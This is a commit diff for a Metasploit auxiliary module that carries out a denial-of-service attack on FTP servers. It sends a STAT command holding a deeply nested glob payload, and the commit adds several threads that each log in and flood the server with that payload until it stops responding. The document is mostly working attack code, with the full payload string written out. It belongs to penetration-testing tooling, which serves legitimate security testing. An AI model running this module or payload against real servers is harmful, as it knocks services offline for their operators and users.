Implemented threading into module
This commit is contained in:
@@ -29,7 +29,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TestThreads', [ true, 'Number of test threads', 5])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
@@ -70,25 +76,52 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears
|
||||
connect_login
|
||||
|
||||
payload = 'STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}'
|
||||
|
||||
print_status("Payload being sent: #{payload}")
|
||||
vprint_status("Payload being sent: #{payload}")
|
||||
|
||||
loop do
|
||||
print_status('sending payload')
|
||||
for i in 0..10 do
|
||||
send_cmd([payload.to_s], false)
|
||||
threads = []
|
||||
datastore['TestThreads'].times do
|
||||
threads << Thread.new do
|
||||
# Connect to ftp port
|
||||
ftp = connect_ftp(datastore['RHOSTS'], datastore['RPORT'], datastore['FTPUSER'], datastore['FTPPASS'])
|
||||
|
||||
loop do
|
||||
print_status('sending payload')
|
||||
10.times do
|
||||
ftp.send_cmd([payload.to_s], false)
|
||||
end
|
||||
ftp.send_cmd([payload.to_s], true)
|
||||
rescue Rex::ConnectionTimeout
|
||||
print_error('Connection timeout! Sending again')
|
||||
rescue Errno::ECONNRESET
|
||||
print_error('Connection reset!')
|
||||
rescue Rex::ConnectionRefused
|
||||
print_good('Connection refused! Appears DOS attack succeeded.')
|
||||
end
|
||||
ftp.disconnect
|
||||
end
|
||||
send_cmd([payload.to_s], true)
|
||||
rescue Rex::ConnectionTimeout
|
||||
print_error('Connection timeout! Sending again')
|
||||
rescue Errno::ECONNRESET
|
||||
print_error('Connection reset!')
|
||||
rescue Rex::ConnectionRefused
|
||||
print_good('Connection refused! Appears DOS attack succeeded.')
|
||||
end
|
||||
disconnect
|
||||
|
||||
sleep(1) until stopping?
|
||||
|
||||
# Stop the threads
|
||||
threads.each(&:kill)
|
||||
threads.each(&:join)
|
||||
print_status('DDOS ended.')
|
||||
end
|
||||
|
||||
def connect_ftp(host, port, user, pass)
|
||||
ftp = Rex::Proto::FTP::Client.new(host, port, true)
|
||||
ftp.connect
|
||||
|
||||
# Log in to the FTP server
|
||||
ftp.login(user, pass)
|
||||
|
||||
# Set passive mode
|
||||
ftp.passive = true
|
||||
|
||||
ftp
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user